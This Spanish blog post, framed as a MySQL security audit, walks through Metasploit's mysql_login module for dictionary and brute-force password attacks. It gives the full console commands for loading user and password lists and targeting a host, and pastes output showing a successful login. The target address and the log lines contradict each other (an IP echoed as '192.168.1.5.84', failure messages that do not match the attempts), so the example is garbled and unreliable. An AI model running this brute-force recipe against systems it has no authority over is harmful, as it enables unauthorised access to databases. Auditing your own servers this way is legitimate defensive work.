En esta serie de post sobre auditoría de MySQL con metasploit, hoy vamos a comentar acerca de un módulo auxiliar que está directamente relacionado con la seguridad de las contraseñas. Vamos a ver cómo poder saber si nuestro MySQL es o no vulnerable a un ataque de diccionario o de fuerza bruta. Para ello, vamos a emplear un diccionario de palabras para usuarios y otro para contraseñas. Si no disponéis de uno, podéis generarlo o bien descargarlo de uno de los muchos sitios que los tienen, como por ejemplo skullsecurity. Una vez que tengamos el diccionario de palabras disponible, simplemente queda configurar y lanzar el ataque. Para ello,
msf> use auxiliary/scanner/mysql/mysql_login msf auxiliary(mysql_login)> show options Module options (auxiliary/scanner/mysql/mysql_login): Name Setting Required Description ---- ------- -------- ----------- BLANK_PASSWORDS true no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 PASSWORD no A specific password to authenticate PASS_FILE no File containing passwords RHOSTS yes The target address RPORT 3306 yes The target port STOP_ON_SUCCESS false yes Stop guessing when a credential works THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE no File containing users and passwords USER_AS_PASS true no Try the username as the password USER_FILE no File containing usernames VERBOSE true yes Whether to print output msf auxiliary(mysql_login)> set USER_FILE /tmp/user.list USER_FILE => /tmp/user.list msf auxiliary(mysql_login)> set PASS_FILE /tmp/passwd.list PASS_FILE => /tmp/passwd.list msf auxiliary(mysql_login)> set RHOSTS 192.168.1.54 RHOSTS => 192.168.1.5.84 msf auxiliary(mysql_login)> set THREADS 5 THREADS => 5
Ahora ejecutamos el módulo reción configurado y esperamos un rato. En caso de que no nos interese ver todas las iteraciones que hace de user + passwd, podemos establecer la variable VERBOSE a no, con lo que conseguimos una salida de sólo los y usuarios con acceso. En nuestro caso nos interesa ver todo, pero con ficheros con muchos valores, esto puede ser molesto y ralentizar mucho la ejecución.
msf auxiliary(mysql_login) > run [*] 192.168.1.84:3306 MYSQL-Found remote MySQL version 5.5.23 [*] 192.168.1.84:3306 MYSQL-Trying username:'user' with password:'' [+] 192.168.1.84:3306 - SUCCESSFUL LOGIN 'user' : 'user' [*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'' [*] 192.168.1.84:3306 MYSQL-failed to login as 'admin' with password '' [*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'admin' [*] 192.168.1.84:3306 MYSQL-failed to login as 'admn' with password 'adn' [*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'admin' [*] 192.168.1.84:3306 MYSQL-failed to login as 'admin' with password 'an' [*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'al' [*] 192.168.1.84:3306 MYSQL-failed to login as 'adm' with password 'al' [*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'admin' [*] 192.168.1.84:3306 MYSQL-failed to login as 'adm' with password 'amin' [*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'adm' [*] 192.168.1.84:3306 MYSQL-failed to login as 'admin' with password 'am' [*] 192.168.1.84:3306 MYSQL-Trying username:'admin' with password:'al' [*] 192.168.1.84:3306 MYSQL-failed to login as 'admin' with password 'al' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution complete
Las líneas en verde contendrán los usuarios con acceso válido. En nuestro caso, user-user. Para que esta auditoría sea realmente efectiva, la base de datos de usuarios y de contraseñas tiene que ser muy grande, para contemplar las más comúnmente empleadas.
No hay comentarios :
Publicar un comentario